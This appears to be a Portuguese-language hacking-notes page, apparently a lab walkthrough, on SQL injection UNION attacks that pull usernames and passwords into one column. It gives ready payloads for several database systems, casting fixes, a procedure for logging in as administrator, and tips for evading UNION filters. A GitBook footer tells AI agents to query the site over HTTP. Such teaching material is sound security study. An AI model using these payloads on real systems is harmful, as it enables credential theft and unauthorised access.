> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/pt-br/web/sql-injection/union-attack-to-extract-multiple-values-in-one-column.md).

# Ataque UNION para extrair vários valores em uma coluna

### Ataque UNION de Injeção SQL, recuperando múltiplos valores em uma única coluna

**Objetivo:** recuperar `nome de usuário` e `senha` concatenados em uma única coluna e então autenticar em `administrador`.

#### (1) Pré-requisitos rápidos

* Saiba o **número de colunas** retornado pela consulta (veja `ORDER BY` / `UNION NULL` testes).
* Identifique qual(is) coluna(s) de saída são retornadas na resposta (constantes visíveis).

#### 2) Exemplos de payloads (dependendo do DBMS)

> Ajuste o número de colunas (`NULL`/constante) para corresponder à consulta vulnerável.

* **Oracle / PostgreSQL (concatenação por `||`) — requisição típica com 2 colunas:**

```sql
' UNION SELECT NULL, username||':'||password FROM users-- -
```

* **MySQL (CONCAT) - 2 colunas:**

```sql
' UNION SELECT NULL, CONCAT(username, ':', password) FROM users-- -
```

* **MSSQL (CONCAT ou +) - 2 colunas:**

```sql
' UNION SELECT NULL, CONCAT(username, ':', password) FROM users-- -
```

ou

```sql
' UNION SELECT NULL, username + ':' + password FROM users-- -
```

* **Se a requisição original tiver 3 colunas (por exemplo):**

{% code overflow="wrap" %}

```sql
' UNION SELECT NULL, NULL, username||':'||password FROM users-- -    -- Oracle/Postgres
```

{% endcode %}

* **Se os tipos forem incompatíveis** (erro de UNION): force conversão/casting:
  * PostgreSQL: `username::text`
  * MySQL: `CAST(username AS CHAR)`
  * Oracle: `TO_CHAR(username)`

#### 3) Procedimento conciso

1. Determine `N` colunas (`ORDER BY 1..N`).
2. Confirme `UNION SELECT` por `NULL`/constantes.
3. Injete o payload de concatenação adaptado ao DBMS e ao número de colunas.
4. Encontre o `nome de usuário:senha` linhas na resposta.
5. Identifique o `administrador:...` registro e use essas credenciais para entrar na página de autenticação.

#### 4) Observações práticas

* Se as senhas estiverem com hash (por exemplo, bcrypt), o uso direto para login falhará; então você precisará quebrar a senha, se permitido, ou confirmar que as senhas estão armazenadas em texto puro (grave incidente de segurança).
* Se a aplicação exibir apenas uma coluna, a concatenação é a abordagem correta; se ela renderizar várias colunas, prefira `UNION SELECT username, password` para maior clareza.
* Se `UNION` é filtrado, tente variações em espaçamento/comentários ou funções (`CONCAT`, `CHR`/`CHAR`) para contornar filtros.


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/pt-br/web/sql-injection/union-attack-to-extract-multiple-values-in-one-column.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
